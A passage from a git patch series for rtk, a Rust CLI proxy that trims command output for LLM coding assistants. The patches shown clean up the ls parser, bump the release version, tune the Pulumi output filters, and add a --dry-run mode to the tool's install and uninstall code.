user user 4096 1月 1 12:00 .\n\ + drwxr-xr-x 16 user user 20480 1月 1 12:00 ..\n"; + let (entries, summary, parsed_count) = compact_ls(input, false); + assert_eq!(parsed_count, 0); + assert_eq!(entries, "(empty)\n"); + assert!(summary.is_empty()); + } + #[test] fn test_compact_summary() { let input = "total 48\n\ From a855d8d8bc296ab8d1eb092be2ee844b9f1dbaac Mon Sep 17 00:00:00 2001 From: Lumin Cui Date: Sat, 18 Apr 2026 01:39:20 +0800 Subject: [PATCH 015/257] refactor(ls): remove unused parse_failed variable --- src/cmds/system/ls.rs | 3 --- 1 file changed, 3 deletions(-) diff --git a/src/cmds/system/ls.rs b/src/cmds/system/ls.rs index 61bd50b25f..4d68fe1069 100644 --- a/src/cmds/system/ls.rs +++ b/src/cmds/system/ls.rs @@ -187,7 +187,6 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let mut lines_seen: usize = 0; let mut parsed_count: usize = 0; let mut dotdirs: usize = 0; - let mut parse_failed: usize = 0; for line in raw.lines() { if line.starts_with("total ") || line.is_empty() { @@ -198,8 +197,6 @@ fn compact_ls(raw: &str, show_all: bool) -> (String, String, usize) { let Some((file_type, size, name)) = parse_ls_line(line) else { if is_dotdir(line) { dotdirs += 1; - } else { - parse_failed += 1; } continue; }; From 92823bf21de51632477daec4dc7a82553e10e803 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Sat, 18 Apr 2026 13:46:53 +0000 Subject: [PATCH 016/257] chore(master): release 0.37.1 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 7 +++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 05b60243f7..18ec56b0d8 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.37.0" + ".": "0.37.1" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 6884585792..081d4f11ef 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,13 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.37.1](https://github.com/rtk-ai/rtk/compare/v0.37.0...v0.37.1) (2026-04-18) + + +### Bug Fixes + +* **docs:** user facing docs ([c8d6878](https://github.com/rtk-ai/rtk/commit/c8d68787fb8b31c52125e9fc7ea62e0aa590485f)) + ## [0.37.0](https://github.com/rtk-ai/rtk/compare/v0.36.0...v0.37.0) (2026-04-17) diff --git a/Cargo.lock b/Cargo.lock index 29a0414509..f249792619 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.37.0" +version = "0.37.1" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 778af25eee..8da192c91f 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.37.0" +version = "0.37.1" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From 888d1a8f77861354e730ac8ae22067d0fd35c8c7 Mon Sep 17 00:00:00 2001 From: Wladi Mitzel Date: Sat, 18 Apr 2026 22:44:51 +0200 Subject: [PATCH 017/257] fix(pulumi): address review feedback + JSON-safety - Revert CHANGELOG.md (release-please CICD generates from commit msg) - Narrow pulumi-stack match_command to explicit subcommand whitelist (bare stack, ls, output, history, select, init, rm, rename, tag, unselect, change-secrets-provider). Excludes export (JSON state) and graph (DOT), which now passthrough unfiltered. - Lower savings_pct 70 -> 45 (measured mean across 5 subcommands). Populate subcmd_savings with measured values: up=66, destroy=72, refresh=35, preview=25, stack=29. JSON-safety (self-found during review validation): - All 5 pulumi subcommands support -j/--json; Rust regex crate has no lookahead so match_command can't negatively exclude --json. - Remove max_lines from all 5 filters; strip patterns don't match JSON structure so JSON passes through unfiltered. - Remove ^\\s*\\}\\s*$ strip pattern (was targeting Node.js stack trace trailers, but also matched legitimate JSON closing braces). Verified on neo-migration stack: - pulumi stack ls/output/history/export, preview --json, stack graph: byte-identical with RTK_NO_TOML=1 baseline (filter transparent). - Human-readable preview still compresses (~20% on clean state). - 10/10 inline pulumi tests pass; 1449/0 full cargo test suite. Co-Authored-By: Claude Opus 4.7 (1M context) --- CHANGELOG.md | 4 ---- src/discover/rules.rs | 10 ++++++++-- src/filters/pulumi-destroy.toml | 2 -- src/filters/pulumi-preview.toml | 2 -- src/filters/pulumi-refresh.toml | 2 -- src/filters/pulumi-stack.toml | 3 +-- src/filters/pulumi-up.toml | 2 -- 7 files changed, 9 insertions(+), 16 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 47b3ca201b..a453097765 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -7,10 +7,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ## [Unreleased] -### Features - -* **pulumi:** add CLI filters for `preview`, `up`, `destroy`, `refresh`, `stack` (TOML-based, ~70% savings) - ### Bug Fixes * **git:** remove `-u` short alias from `--ultra-compact` to fix `git push -u` upstream tracking ([#1086](https://github.com/rtk-ai/rtk/issues/1086)) diff --git a/src/discover/rules.rs b/src/discover/rules.rs index ac0fa0abe3..c85c108cf4 100644 --- a/src/discover/rules.rs +++ b/src/discover/rules.rs @@ -730,8 +730,14 @@ pub const RULES: &[RtkRule] = &[ rtk_cmd: "rtk pulumi", rewrite_prefixes: &["pulumi"], category: "Infra", - savings_pct: 70.0, - subcmd_savings: &[], + savings_pct: 45.0, + subcmd_savings: &[ + ("up", 66.0), + ("destroy", 72.0), + ("refresh", 35.0), + ("preview", 25.0), + ("stack", 29.0), + ], subcmd_status: &[], }, RtkRule { diff --git a/src/filters/pulumi-destroy.toml b/src/filters/pulumi-destroy.toml index f2b7ac1000..1052c0ff66 100644 --- a/src/filters/pulumi-destroy.toml +++ b/src/filters/pulumi-destroy.toml @@ -23,10 +23,8 @@ strip_lines_matching = [ "^\\s+at\\s+processTicksAndRejections", "^\\s+promise:\\s+Promise", "^\\s+\\[Circular", - "^\\s*\\}\\s*$", "^\\s* Date: Sun, 19 Apr 2026 01:07:28 -0400 Subject: [PATCH 018/257] feat(init): add --dry-run flag to preview changes without writing Rebased onto current develop (binary-command era). Threads dry_run through patch_settings_json_command, migrate_old_hook_script, install_cursor_hooks, run_kilocode_mode, run_antigravity_mode, run_gemini, run_copilot, and uninstall. Fixes from PR #1032 review: - --uninstall --dry-run no longer deletes files (uninstall() now takes dry_run, every fs::remove_file / fs::write / atomic_write guarded) - Success messages ("installed", "configured", "Restart ...") gated on !dry_run in run_default_mode, run_hook_only_mode, run_codex_mode, run_copilot, install_cursor_hooks, run_gemini - prompt_telemetry_consent() skipped in dry-run - integrity::store_hash() in run_gemini guarded - KiloCode and Antigravity modes now accept dry_run - PatchResult::WouldPatch variant added for patch_settings_json_command - [dry-run] Nothing written. footer printed by every sub-mode - write_if_changed uses atomic_write (not fs::write) Added integrity::hash_path_for() public wrapper so dry-run can check sidecar existence without the destructive remove_hash. Tests: write_if_changed(dry_run=true) creates nothing; run_codex_mode_with_paths(dry_run=true) creates neither RTK.md nor AGENTS.md. 1596 tests pass, clippy clean. --- src/hooks/init.rs | 1248 +++++++++++++++++++++++++++++----------- src/hooks/integrity.rs | 5 + src/main.rs | 16 +- 3 files changed, 922 insertions(+), 347 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 65517fc7bc..d46253b23c 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -71,6 +71,12 @@ pub enum PatchResult { AlreadyPresent, // Hook was already in settings.json Declined, // User declined when prompted Skipped, // --no-patch flag used + WouldPatch, // Dry-run: hook would have been added +} + +/// Shared dry-run footer printed at the end of every init sub-mode. +fn print_dry_run_footer() { + println!("\n[dry-run] Nothing written."); } // Legacy full instructions for backward compatibility (--claude-md mode) @@ -228,6 +234,7 @@ pub fn run( codex: bool, patch_mode: PatchMode, verbose: u8, + dry_run: bool, ) -> Result<()> { // Validation: Codex mode conflicts if codex { @@ -246,7 +253,7 @@ pub fn run( if matches!(patch_mode, PatchMode::Skip) { anyhow::bail!("--codex cannot be combined with --no-patch"); } - return run_codex_mode(global, verbose); + return run_codex_mode(global, verbose, dry_run); } // Validation: Global-only features @@ -264,20 +271,24 @@ pub fn run( // Windsurf-only mode if install_windsurf { - return run_windsurf_mode(verbose); + return run_windsurf_mode(verbose, dry_run); } // Cline-only mode if install_cline { - return run_cline_mode(verbose); + return run_cline_mode(verbose, dry_run); } // Mode selection (Claude Code / OpenCode) match (install_claude, install_opencode, claude_md, hook_only) { - (false, true, _, _) => run_opencode_only_mode(verbose)?, - (true, opencode, true, _) => run_claude_md_mode(global, verbose, opencode)?, - (true, opencode, false, true) => run_hook_only_mode(global, patch_mode, verbose, opencode)?, - (true, opencode, false, false) => run_default_mode(global, patch_mode, verbose, opencode)?, + (false, true, _, _) => run_opencode_only_mode(verbose, dry_run)?, + (true, opencode, true, _) => run_claude_md_mode(global, verbose, opencode, dry_run)?, + (true, opencode, false, true) => { + run_hook_only_mode(global, patch_mode, verbose, opencode, dry_run)? + } + (true, opencode, false, false) => { + run_default_mode(global, patch_mode, verbose, opencode, dry_run)? + } (false, false, _, _) => { if !install_cursor { anyhow::bail!("at least one of install_claude or install_opencode must be true") @@ -287,18 +298,27 @@ pub fn run( // Cursor hooks (additive, installed alongside Claude Code) if install_cursor { - install_cursor_hooks(verbose)?; + install_cursor_hooks(verbose, dry_run)?; } - prompt_telemetry_consent()?; + if !dry_run { + prompt_telemetry_consent()?; + } println!(); Ok(()) } -/// Idempotent file write: create or update if content differs -fn write_if_changed(path: &Path, content: &str, name: &str, verbose: u8) -> Result { +/// Idempotent file write: create or update if content differs. +/// When `dry_run` is true, prints the intended action and does not touch the filesystem. +fn write_if_changed( + path: &Path, + content: &str, + name: &str, + verbose: u8, + dry_run: bool, +) -> Result { if path.exists() { let existing = fs::read_to_string(path) .with_context(|| format!("Failed to read {}: {}", name, path.display()))?; @@ -309,18 +329,32 @@ fn write_if_changed(path: &Path, content: &str, name: &str, verbose: u8) -> Resu } Ok(false) } else { - atomic_write(path, content) - .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; - if verbose > 0 { - eprintln!("Updated {}: {}", name, path.display()); + if dry_run { + println!("[dry-run] would update {}: {}", name, path.display()); + if verbose > 0 { + println!("[dry-run] content:\n{}", content); + } + } else { + atomic_write(path, content) + .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; + if verbose > 0 { + eprintln!("Updated {}: {}", name, path.display()); + } } Ok(true) } } else { - atomic_write(path, content) - .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; - if verbose > 0 { - eprintln!("Created {}: {}", name, path.display()); + if dry_run { + println!("[dry-run] would create {}: {}", name, path.display()); + if verbose > 0 { + println!("[dry-run] content:\n{}", content); + } + } else { + atomic_write(path, content) + .with_context(|| format!("Failed to write {}: {}", name, path.display()))?; + if verbose > 0 { + eprintln!("Created {}: {}", name, path.display()); + } } Ok(true) } @@ -492,7 +526,7 @@ fn remove_hook_from_json(root: &mut serde_json::Value) -> bool { /// Remove RTK hook from settings.json file /// Backs up before modification, returns true if hook was found and removed -fn remove_hook_from_settings(verbose: u8) -> Result { +fn remove_hook_from_settings(verbose: u8, dry_run: bool) -> Result { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join(SETTINGS_JSON); @@ -516,6 +550,19 @@ fn remove_hook_from_settings(verbose: u8) -> Result { let removed = remove_hook_from_json(&mut root); if removed { + if dry_run { + println!( + "[dry-run] would remove RTK hook entry from {}", + settings_path.display() + ); + if verbose > 0 { + let serialized = serde_json::to_string_pretty(&root) + .context("Failed to serialize settings.json")?; + println!("[dry-run] content:\n{}", serialized); + } + return Ok(true); + } + // Backup original let backup_path = settings_path.with_extension("json.bak"); fs::copy(&settings_path, &backup_path) @@ -535,9 +582,16 @@ fn remove_hook_from_settings(verbose: u8) -> Result { } /// Full uninstall for Claude, Gemini, Codex, or Cursor artifacts. -pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: u8) -> Result<()> { +pub fn uninstall( + global: bool, + gemini: bool, + codex: bool, + cursor: bool, + verbose: u8, + dry_run: bool, +) -> Result<()> { if codex { - return uninstall_codex(global, verbose); + return uninstall_codex(global, verbose, dry_run); } if cursor { @@ -545,13 +599,22 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: anyhow::bail!("Cursor uninstall only works with --global flag"); } let cursor_removed = - remove_cursor_hooks(verbose).context("Failed to remove Cursor hooks")?; + remove_cursor_hooks(verbose, dry_run).context("Failed to remove Cursor hooks")?; if !cursor_removed.is_empty() { - println!("RTK uninstalled (Cursor):"); + let header = if dry_run { + "[dry-run] would uninstall RTK (Cursor):" + } else { + "RTK uninstalled (Cursor):" + }; + println!("{}", header); for item in &cursor_removed { println!(" - {}", item); } - println!("\nRestart Cursor to apply changes."); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRestart Cursor to apply changes."); + } } else { println!("RTK Cursor support was not installed (nothing to remove)"); } @@ -567,14 +630,23 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: // Also uninstall Gemini artifacts if --gemini or always (clean everything) if gemini { - let gemini_removed = uninstall_gemini(verbose)?; + let gemini_removed = uninstall_gemini(verbose, dry_run)?; removed.extend(gemini_removed); if !removed.is_empty() { - println!("RTK uninstalled (Gemini):"); + let header = if dry_run { + "[dry-run] would uninstall RTK (Gemini):" + } else { + "RTK uninstalled (Gemini):" + }; + println!("{}", header); for item in &removed { println!(" - {}", item); } - println!("\nRestart Gemini CLI to apply changes."); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRestart Gemini CLI to apply changes."); + } } else { println!("RTK Gemini support was not installed (nothing to remove)"); } @@ -584,21 +656,38 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: // 1. Remove legacy hook file (if exists from old installation) let hook_path = claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); if hook_path.exists() { - fs::remove_file(&hook_path) - .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + if dry_run { + println!( + "[dry-run] would remove hook script: {}", + hook_path.display() + ); + } else { + fs::remove_file(&hook_path) + .with_context(|| format!("Failed to remove hook: {}", hook_path.display()))?; + } removed.push(format!("Hook script: {}", hook_path.display())); } // 1b. Remove integrity hash file - if integrity::remove_hash(&hook_path)? { + if dry_run { + // integrity::remove_hash would delete the sidecar file; just report intent. + if integrity::hash_path_for(&hook_path).exists() { + println!("[dry-run] would remove integrity hash sidecar"); + removed.push("Integrity hash: removed".to_string()); + } + } else if integrity::remove_hash(&hook_path)? { removed.push("Integrity hash: removed".to_string()); } // 2. Remove RTK.md let rtk_md_path = claude_dir.join(RTK_MD); if rtk_md_path.exists() { - fs::remove_file(&rtk_md_path) - .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; + if dry_run { + println!("[dry-run] would remove RTK.md: {}", rtk_md_path.display()); + } else { + fs::remove_file(&rtk_md_path) + .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; + } removed.push(format!("RTK.md: {}", rtk_md_path.display())); } @@ -618,43 +707,62 @@ pub fn uninstall(global: bool, gemini: bool, codex: bool, cursor: bool, verbose: // Clean up double blanks let cleaned = clean_double_blanks(&new_content); - fs::write(&claude_md_path, cleaned).with_context(|| { - format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) - })?; + if dry_run { + println!( + "[dry-run] would remove @RTK.md reference from CLAUDE.md: {}", + claude_md_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", cleaned); + } + } else { + fs::write(&claude_md_path, cleaned).with_context(|| { + format!("Failed to write CLAUDE.md: {}", claude_md_path.display()) + })?; + } removed.push("CLAUDE.md: removed @RTK.md reference".to_string()); } } // 4. Remove hook entry from settings.json - if remove_hook_from_settings(verbose)? { + if remove_hook_from_settings(verbose, dry_run)? { removed.push("settings.json: removed RTK hook entry".to_string()); } // 5. Remove OpenCode plugin - let opencode_removed = remove_opencode_plugin(verbose)?; + let opencode_removed = remove_opencode_plugin(verbose, dry_run)?; for path in opencode_removed { removed.push(format!("OpenCode plugin: {}", path.display())); } // 6. Remove Cursor hooks - let cursor_removed = remove_cursor_hooks(verbose)?; + let cursor_removed = remove_cursor_hooks(verbose, dry_run)?; removed.extend(cursor_removed); // Report results if removed.is_empty() { println!("RTK was not installed (nothing to remove)"); } else { - println!("RTK uninstalled:"); + let header = if dry_run { + "[dry-run] would uninstall RTK:" + } else { + "RTK uninstalled:" + }; + println!("{}", header); for item in removed { println!(" - {}", item); } - println!("\nRestart Claude Code, OpenCode, and Cursor (if used) to apply changes."); + if dry_run { + print_dry_run_footer(); + } else { + println!("\nRestart Claude Code, OpenCode, and Cursor (if used) to apply changes."); + } } Ok(()) } -fn uninstall_codex(global: bool, verbose: u8) -> Result<()> { +fn uninstall_codex(global: bool, verbose: u8, dry_run: bool) -> Result<()> { if !global { anyhow::bail!( "Uninstall only works with --global flag. For local projects, manually remove RTK from AGENTS.md" @@ -662,30 +770,42 @@ fn uninstall_codex(global: bool, verbose: u8) -> Result<()> { } let codex_dir = resolve_codex_dir()?; - let removed = uninstall_codex_at(&codex_dir, verbose)?; + let removed = uninstall_codex_at(&codex_dir, verbose, dry_run)?; if removed.is_empty() { println!("RTK was not installed for Codex CLI (nothing to remove)"); } else { - println!("RTK uninstalled for Codex CLI:"); + let header = if dry_run { + "[dry-run] would uninstall RTK for Codex CLI:" + } else { + "RTK uninstalled for Codex CLI:" + }; + println!("{}", header); for item in removed { println!(" - {}", item); } + if dry_run { + print_dry_run_footer(); + } } Ok(()) } -fn uninstall_codex_at(codex_dir: &Path, verbose: u8) -> Result> { +fn uninstall_codex_at(codex_dir: &Path, verbose: u8, dry_run: bool) -> Result> { let mut removed = Vec::new(); let absolute_rtk_md_ref = codex_rtk_md_ref(codex_dir); let rtk_md_path = codex_dir.join(RTK_MD); if rtk_md_path.exists() { - fs::remove_file(&rtk_md_path) - .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; - if verbose > 0 { - eprintln!("Removed RTK.md: {}", rtk_md_path.display()); + if dry_run { + println!("[dry-run] would remove RTK.md: {}", rtk_md_path.display()); + } else { + fs::remove_file(&rtk_md_path) + .with_context(|| format!("Failed to remove RTK.md: {}", rtk_md_path.display()))?; + if verbose > 0 { + eprintln!("Removed RTK.md: {}", rtk_md_path.display()); + } } removed.push(format!("RTK.md: {}", rtk_md_path.display())); } @@ -695,6 +815,7 @@ fn uninstall_codex_at(codex_dir: &Path, verbose: u8) -> Result> { &agents_md_path, &[RTK_MD_REF, absolute_rtk_md_ref.as_str()], verbose, + dry_run, )? { removed.push("AGENTS.md: removed @RTK.md reference".to_string()); } @@ -709,6 +830,7 @@ fn patch_settings_json_command( mode: PatchMode, verbose: u8, include_opencode: bool, + dry_run: bool, ) -> Result { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join(SETTINGS_JSON); @@ -743,7 +865,13 @@ fn patch_settings_json_command( return Ok(PatchResult::Skipped); } PatchMode::Ask => { - if !prompt_user_consent(&settings_path)? { + // Skip the interactive prompt in dry-run: we must not mutate state or block on stdin. + if dry_run { + println!( + "[dry-run] would prompt before patching {}", + settings_path.display() + ); + } else if !prompt_user_consent(&settings_path)? { print_manual_instructions(hook_command, include_opencode); return Ok(PatchResult::Declined); } @@ -755,6 +883,20 @@ fn patch_settings_json_command( insert_hook_entry(&mut root, hook_command)?; + let serialized = + serde_json::to_string_pretty(&root).context("Failed to serialize settings.json")?; + + if dry_run { + println!( + "[dry-run] would patch settings.json: {}", + settings_path.display() + ); + if verbose > 0 { + println!("[dry-run] content:\n{}", serialized); + } + return Ok(PatchResult::WouldPatch); + } + // Backup original if settings_path.exists() { let backup_path = settings_path.with_extension("json.bak"); @@ -766,8 +908,6 @@ fn patch_settings_json_command( } // Atomic write - let serialized = - serde_json::to_string_pretty(&root).context("Failed to serialize settings.json")?; atomic_write(&settings_path, &serialized)?; println!("\n settings.json: hook added"); @@ -878,11 +1018,12 @@ fn run_default_mode( _patch_mode: PatchMode, _verbose: u8, _install_opencode: bool, + _dry_run: bool, ) -> Result<()> { eprintln!("[warn] Hook-based mode requires Unix (macOS/Linux)."); eprintln!(" Windows: use --claude-md mode for full injection."); eprintln!(" Falling back to --claude-md mode."); - run_claude_md_mode(_global, _verbose, _install_opencode) + run_claude_md_mode(_global, _verbose, _install_opencode, _dry_run) } #[cfg(unix)] @@ -891,11 +1032,12 @@ fn run_default_mode( patch_mode: PatchMode, verbose: u8, install_opencode: bool, + dry_run: bool, ) -> Result<()> { if !global { // Local init: inject CLAUDE.md + generate project-local filters template - run_claude_md_mode(false, verbose, install_opencode)?; - generate_project_filters_template(verbose)?; + run_claude_md_mode(false, verbose, install_opencode, dry_run)?; + generate_project_filters_template(verbose, dry_run)?; return Ok(()); } @@ -904,62 +1046,78 @@ fn run_default_mode( let claude_md_path = claude_dir.join(CLAUDE_MD); // 1. Migrate old hook script if present - migrate_old_hook_script(verbose); + migrate_old_hook_script(verbose, dry_run); // 2. Write RTK.md - write_if_changed(&rtk_md_path, RTK_SLIM, RTK_MD, verbose)?; + write_if_changed(&rtk_md_path, RTK_SLIM, RTK_MD, verbose, dry_run)?; let opencode_plugin_path = if install_opencode { let path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&path, verbose)?; + ensure_opencode_plugin_installed(&path, verbose, dry_run)?; Some(path) } else { None }; // 3. Patch CLAUDE.md (add @RTK.md, migrate if needed) - let migrated = patch_claude_md(&claude_md_path, verbose)?; - - // 4. Print success message - println!("\nRTK hook registered (global).\n"); - println!(" Command: {}", CLAUDE_HOOK_COMMAND); - println!(" RTK.md: {} (10 lines)", rtk_md_path.display()); - if let Some(path) = &opencode_plugin_path { - println!(" OpenCode: {}", path.display()); - } - println!(" CLAUDE.md: @RTK.md reference added"); + let migrated = patch_claude_md(&claude_md_path, verbose, dry_run)?; + + // 4. Print success message (skip in dry-run) + if !dry_run { + println!("\nRTK hook registered (global).\n"); + println!(" Command: {}", CLAUDE_HOOK_COMMAND); + println!(" RTK.md: {} (10 lines)", rtk_md_path.display()); + if let Some(path) = &opencode_plugin_path { + println!(" OpenCode: {}", path.display()); + } + println!(" CLAUDE.md: @RTK.md reference added"); - if migrated { - println!("\n [ok] Migrated: removed 137-line RTK block from CLAUDE.md"); - println!(" replaced with @RTK.md (10 lines)"); + if migrated { + println!("\n [ok] Migrated: removed 137-line RTK block from CLAUDE.md"); + println!(" replaced with @RTK.md (10 lines)"); + } } // 5. Patch settings.json with binary command - let patch_result = - patch_settings_json_command(CLAUDE_HOOK_COMMAND, patch_mode, verbose, install_opencode)?; + let patch_result = patch_settings_json_command( + CLAUDE_HOOK_COMMAND, + patch_mode, + verbose, + install_opencode, + dry_run, + )?; // Report result - match patch_result { - PatchResult::Patched => { - // Already printed by patch_settings_json_command - } - PatchResult::AlreadyPresent => { - println!("\n settings.json: hook already present"); - if install_opencode { - println!(" Restart Claude Code and OpenCode. Test with: git status"); - } else { - println!(" Restart Claude Code. Test with: git status"); + if !dry_run { + match patch_result { + PatchResult::Patched => { + // Already printed by patch_settings_json_command + } + PatchResult::AlreadyPresent => { + println!("\n settings.json: hook already present"); + if install_opencode { + println!(" Restart Claude Code and OpenCode. Test with: git status"); + } else { + println!(" Restart Claude Code. Test with: git status"); + } + } + PatchResult::Declined | PatchResult::Skipped => { + // Manual instructions already printed + } + PatchResult::WouldPatch => { + // Cannot happen outside dry_run } - } - PatchResult::Declined | PatchResult::Skipped => { - // Manual instructions already printed } } // 6. Generate user-global filters template (~/.config/rtk/filters.toml) - generate_global_filters_template(verbose)?; + generate_global_filters_template(verbose, dry_run)?; - println!(); // Final newline + if dry_run { + print_dry_run_footer(); + } else { + println!(); // Final newline + } Ok(()) } @@ -968,14 +1126,19 @@ fn run_default_mode( /// Deletes `~/.claude/hooks/rtk-rewrite.sh` and `.rtk-hook.sha256` if present, /// and removes the stale settings.json entry so the new `rtk hook claude` entry /// can be registered. -fn migrate_old_hook_script(verbose: u8) { +fn migrate_old_hook_script(verbose: u8, dry_run: bool) { if let Some(home) = dirs::home_dir() { let old_hook = home .join(CLAUDE_DIR) .join(HOOKS_SUBDIR) .join(REWRITE_HOOK_FILE); if old_hook.exists() { - if let Err(e) = std::fs::remove_file(&old_hook) { + if dry_run { + println!( + "[dry-run] would migrate legacy hook script: {}", + old_hook.display() + ); + } else if let Err(e) = std::fs::remove_file(&old_hook) { if verbose > 0 { eprintln!(" [warn] Failed to remove old hook script: {e}"); } @@ -984,7 +1147,7 @@ fn migrate_old_hook_script(verbose: u8) { eprintln!(" [ok] Removed old hook script: {}", old_hook.display()); } // Clean up the stale settings.json entry that pointed to the deleted script - if let Err(e) = remove_legacy_settings_entries(verbose) { + if let Err(e) = remove_legacy_settings_entries(verbose, dry_run) { if verbose > 0 { eprintln!(" [warn] Failed to clean legacy settings.json entry: {e}"); } @@ -997,19 +1160,33 @@ fn migrate_old_hook_script(verbose: u8) { .join(HOOKS_SUBDIR) .join(".rtk-hook.sha256"); if hash_file.exists() { - let _ = std::fs::remove_file(&hash_file); + if dry_run { + println!( + "[dry-run] would remove legacy hash file: {}", + hash_file.display() + ); + } else { + let _ = std::fs::remove_file(&hash_file); + } } // Remove Cursor legacy hook let cursor_hook = home.join(".cursor").join("hooks").join(REWRITE_HOOK_FILE); if cursor_hook.exists() { - let _ = std::fs::remove_file(&cursor_hook); + if dry_run { + println!( + "[dry-run] would remove legacy Cursor hook: {}", + cursor_hook.display() + ); + } else { + let _ = std::fs::remove_file(&cursor_hook); + } } } } /// Remove only legacy `rtk-rewrite.sh` entries from settings.json. /// Preserves any existing `rtk hook claude` entries (new format). -fn remove_legacy_settings_entries(verbose: u8) -> Result<()> { +fn remove_legacy_settings_entries(verbose: u8, dry_run: bool) -> Result<()> { let claude_dir = resolve_claude_dir()?; let settings_path = claude_dir.join(SETTINGS_JSON); @@ -1030,6 +1207,14 @@ fn remove_legacy_settings_entries(verbose: u8) -> Result<()> { return Ok(()); } + if dry_run { + println!( + "[dry-run] would remove legacy rtk-rewrite.sh entry from {}", + settings_path.display() + ); + return Ok(()); + } + // Backup before modifying let backup_path = settings_path.with_extension("json.bak"); fs::copy(&settings_path, &backup_path) @@ -1078,7 +1263,7 @@ fn remove_legacy_hook_entries_from_json(root: &mut serde_json::Value) -> bool { } /// Generate .rtk/filters.toml template in the current directory if not present. -fn generate_project_filters_template(verbose: u8) -> Result<()> { +fn generate_project_filters_template(verbose: u8, dry_run: bool) -> Result<()> { let rtk_dir = std::path::Path::new(".rtk"); let path = rtk_dir.join("filters.toml"); @@ -1089,6 +1274,14 @@ fn generate_project_filters_template(verbose: u8) -> Result<()> { return Ok(()); } + if dry_run { + println!( + "[dry-run] would create .rtk/filters.toml template: {}", + path.display() + ); + return Ok(()); + } + fs::create_dir_all(rtk_dir) .with_context(|| format!("Failed to create directory: {}", rtk_dir.display()))?; fs::write(&path, FILTERS_TEMPLATE) @@ -1102,7 +1295,7 @@ fn generate_project_filters_template(verbose: u8) -> Result<()> { } /// Generate ~/.config/rtk/filters.toml template if not present. -fn generate_global_filters_template(verbose: u8) -> Result<()> { +fn generate_global_filters_template(verbose: u8, dry_run: bool) -> Result<()> { let config_dir = dirs::config_dir().unwrap_or_else(|| std::path::PathBuf::from(".config")); let rtk_dir = config_dir.join(crate::core::constants::RTK_DATA_DIR); let path = rtk_dir.join("filters.toml"); @@ -1114,6 +1307,14 @@ fn generate_global_filters_template(verbose: u8) -> Result<()> { return Ok(()); } + if dry_run { + println!( + "[dry-run] would create global filters template: {}", + path.display() + ); + return Ok(()); + } + fs::create_dir_all(&rtk_dir) .with_context(|| format!("Failed to create directory: {}", rtk_dir.display()))?; fs::write(&path, FILTERS_GLOBAL_TEMPLATE) @@ -1133,6 +1334,7 @@ fn run_hook_only_mode( _patch_mode: PatchMode, _verbose: u8, _install_opencode: bool, + _dry_run: bool, ) -> Result<()> { anyhow::bail!("Hook install requires Unix (macOS/Linux). Use WSL or --claude-md mode.") } @@ -1143,6 +1345,7 @@ fn run_hook_only_mode( patch_mode: PatchMode, verbose: u8, install_opencode: bool, + dry_run: bool, ) -> Result<()> { if !global { eprintln!("[warn] Warning: --hook-only only makes sense with --global"); @@ -1151,61 +1354,82 @@ fn run_hook_only_mode( } // Migrate old hook script if present - migrate_old_hook_script(verbose); + migrate_old_hook_script(verbose, dry_run); let opencode_plugin_path = if install_opencode { let path = prepare_opencode_plugin_path()?; - ensure_opencode_plugin_installed(&path, verbose)?; + ensure_opencode_plugin_installed(&path, verbose, dry_run)?; Some(path) } else { None }; - println!("\nRTK hook registered (hook-only mode).\n"); - println!(" Command: {}", CLAUDE_HOOK_COMMAND); - if let Some(path) = &opencode_plugin_path { - println!(" OpenCode: {}", path.display()); + if !dry_run { + println!("\nRTK hook registered (hook-only mode).\n"); + println!(" Command: {}", CLAUDE_HOOK_COMMAND); + if let Some(path) = &opencode_plugin_path { + println!(" OpenCode: {}", path.display()); + } + println!( + " Note: No RTK.md created. Claude won't know about meta commands (gain, discover, proxy)." + ); } - println!( - " Note: No RTK.md created. Claude won't know about meta commands (gain, discover, proxy)." - ); // Patch settings.json with binary command - let patch_result = - 